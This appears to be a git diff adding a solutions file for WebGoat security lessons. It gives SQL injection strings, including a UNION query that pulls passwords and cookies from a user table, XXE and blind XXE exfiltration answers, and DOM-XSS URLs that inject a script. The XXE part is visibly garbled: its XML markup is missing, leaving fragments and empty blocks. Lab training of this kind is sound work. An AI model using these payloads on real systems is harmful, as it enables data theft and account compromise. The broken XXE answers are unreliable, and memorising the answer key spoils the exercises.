diff --git a/webgoat-lessons/sol.txt b/webgoat-lessons/sol.txt new file mode 100644 index 000000000..9b1c2c0aa --- /dev/null +++ b/webgoat-lessons/sol.txt @@ -0,0 +1,88 @@ +### SQLi ### +Basic +Smith - to show it returns smith's records +Smith' or '1'='1 - to show exploit; 1=1 can be any true clause + +[2:19 PM] +101 +101 or 1=1 + +Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data -- + +## XXE ## + +Simple - ]> &root;test + +Modern Rest Framework - change content type to: Content-Type: application/xml && + ]> &root;test + +Blind SendFile ... + + /** + * Solution: + * + * Create DTD: + * + *
+     *     
+     *     
+     *     ">
+     *      %all;
+     * 
+ * + * This will be reduced to: + * + *
+     *     
+     * 
+ * + * Wire it all up in the xml send to the server: + * + *
+     *  
+     *  
+     *  %remote;
+     *   ]>
+     *  
+     *    test&send;
+     *  
+     *
+     * 
+ * + */ + +###XSS ### + +4128 3214 0002 1999 + +DOM-XSS ... + +// something like ... http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E +// or http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere